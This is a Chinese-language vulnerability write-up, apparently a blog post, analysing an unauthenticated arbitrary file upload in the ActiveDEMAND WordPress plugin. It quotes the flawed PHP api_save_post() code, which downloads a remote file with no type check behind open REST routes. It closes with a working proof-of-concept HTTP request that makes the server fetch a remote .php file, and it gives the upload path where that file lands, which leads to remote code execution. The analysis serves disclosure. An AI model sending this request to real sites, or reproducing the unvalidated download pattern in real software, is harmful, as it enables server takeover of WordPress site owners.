漏洞信息
WordPress 的 ActiveDEMAND 插件容易受到任意文件上传的攻击,因为在 0.2.41 及之前的所有版本中,api_save_post() 函数中缺少文件类型验证。这使得未经身份验证的攻击者可以在受影响站点的服务器上上传任意文件,从而使远程代码执行成为可能。
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/activedemand/activedemand-0241-unauthenticated-arbitrary-file-upload
根据情报信息得知是api_save_post()函数出现的问题,我们去看下代码。
存在漏洞的代码
可以看到在插件官方版本变更中是直接删除了这段代码,可以看到在888至910行代码是一个图片操作此处没有进行任何的过滤限制导致可以通过远程下载的方式下载远端的文件到本地。
function api_delete_post($request)
819 {
820 $parameters = $request->get_params();
821 $post_id = $parameters['id'];
822
823 if ($parameters['api_key'] == "" || activedemand_api_key() == "") {
824 return array('error' => 1, 'message' => 'Missing Api Key');
825 }
826
827 if (!isset($parameters['api_key']) || strcmp($parameters['api_key'], activedemand_api_key()) != 0) {
828 return array('error' => 1, 'message' => 'Invalid Api Key');
829 }
830
831 if (empty($parameters['id'])) {
832 return array('error' => 1, 'message' => 'Post Id is empty');
833 }
834
835 if (wp_delete_post($post_id, true)) {
836 return array('error' => 0);
837 } else {
838 return array('error' => 1);
839 }
840 }
841
842 function api_save_post($request)
843 {
844 $success = false;
845 include_once ABSPATH . 'wp-admin/includes/image.php';
846 $parameters = $request->get_params();
847
848 if ($parameters['api_key'] == "" || activedemand_api_key() == "") {
849 return array('error' => 1, 'message' => 'Missing Api Key');
850 }
851
852 if (!isset($parameters['api_key']) || strcmp($parameters['api_key'], activedemand_api_key()) != 0) {
853 return array('error' => 1, 'message' => 'Invalid Api Key');
854 }
855 //create slug from title when slug is empty
856 $parameters['slug'] = empty($parameters['slug']) ? sanitize_title($parameters['title']) : $parameters['slug'];
857
858 if (empty($parameters['title']) || empty($parameters['content']) || empty($parameters['slug'])) {
859 return array('error' => 1, 'message' => 'Invalid request');
860 }
861 $category = get_cat_ID($parameters['categories']);
862
863 $post = array(
864 'post_type' => 'post',
865 'post_title' => $parameters['title'],
866 'post_content' => $parameters['content'],
867 'post_status' => 'draft',
868 'post_author' => 0,
869 'post_date' => $parameters['date'],
870 'post_slug' => $parameters['slug'],
871 'post_excerpt' => $parameters['excerpt'],
872 'post_category' => array($category),
873 'tags_input' => $parameters['tags']
874 );
875
876 if (isset($parameters['id']) && $post_id = $parameters['id']) {
877 $post['ID'] = $parameters['id'];
878 if (isset($post['post_status']) && !empty($post['post_status'])) {
879 $post['post_status'] = $parameters['status'];
880 }
881 $success = wp_update_post($post);
882 } else {
883 if ($post_id = wp_insert_post($post)) {
884 $success = true;
885 }
886 }
887
888 $image_url = $parameters['thumbnail_url'];
889 if (!empty($image_url)) {
890 $upload_dir = wp_upload_dir();
891 $image_data = file_get_contents($image_url);
892 $filename = basename($image_url);
893 if (wp_mkdir_p($upload_dir['path'])) {
894 $file = $upload_dir['path'] . '/' . $filename;
895 } else {
896 $file = $upload_dir['basedir'] . '/' . $filename;
897 }
898 file_put_contents($file, $image_data);
899 $wp_filetype = wp_check_filetype($filename, null);
900 $attachment = array(
901 'post_mime_type' => $wp_filetype['type'],
902 'post_title' => sanitize_file_name($filename),
903 'post_content' => '',
904 'post_status' => 'inherit'
905 );
906 $attach_id = wp_insert_attachment($attachment, $file, $post_id);
907 $attach_data = wp_generate_attachment_metadata($attach_id, $file);
908 wp_update_attachment_metadata($attach_id, $attach_data);
909 set_post_thumbnail($post_id, $attach_id);
910 }
911
912 if ($post_id && $success) {
913 return array('error' => 0, 'id' => $post_id, 'slug' => $post['post_slug']);
914 } else {
915 return array('error' => 1);
916 }
917 }
918
919 add_action('rest_api_init', function () {
920 register_rest_route('activedemand/v1', '/create-post/', array(
921 'methods' => 'POST',
922 'callback' => __NAMESPACE__ . '\api_save_post',
923 'permission_callback' => '__return_true'
924 ));
925
926 register_rest_route('activedemand/v1', '/update-post/', array(
927 'methods' => 'POST',
928 'callback' => __NAMESPACE__ . '\api_save_post',
929 'permission_callback' => '__return_true'
930 ));
931
932 register_rest_route('activedemand/v1', '/delete-post/', array(
933 'methods' => 'POST',
934 'callback' => __NAMESPACE__ . '\api_delete_post',
935 'permission_callback' => '__return_true'
936 ));
937 });
历史版本插件下载地址:https://downloads.wordpress.org/plugin/activedemand.0.2.40.zip
POC
POST /wp-json/activedemand/v1/create-post?api_key= HTTP/1.1
Host: xxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: application/json
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryABC123
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Postman-Token: 123123
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="123", "Chromium";v="123", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Te: trailers
Connection: close
Content-Length: 544
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="api_key"
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="title"
My File Title
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="content"
This is the content of my file.
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="slug"
my-file-slug
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="thumbnail_url"
http://xxxxx/xxxxx.php
------WebKitFormBoundaryABC123--
文件地址位于:/uploads/年/月/文件名
Comments NOTHING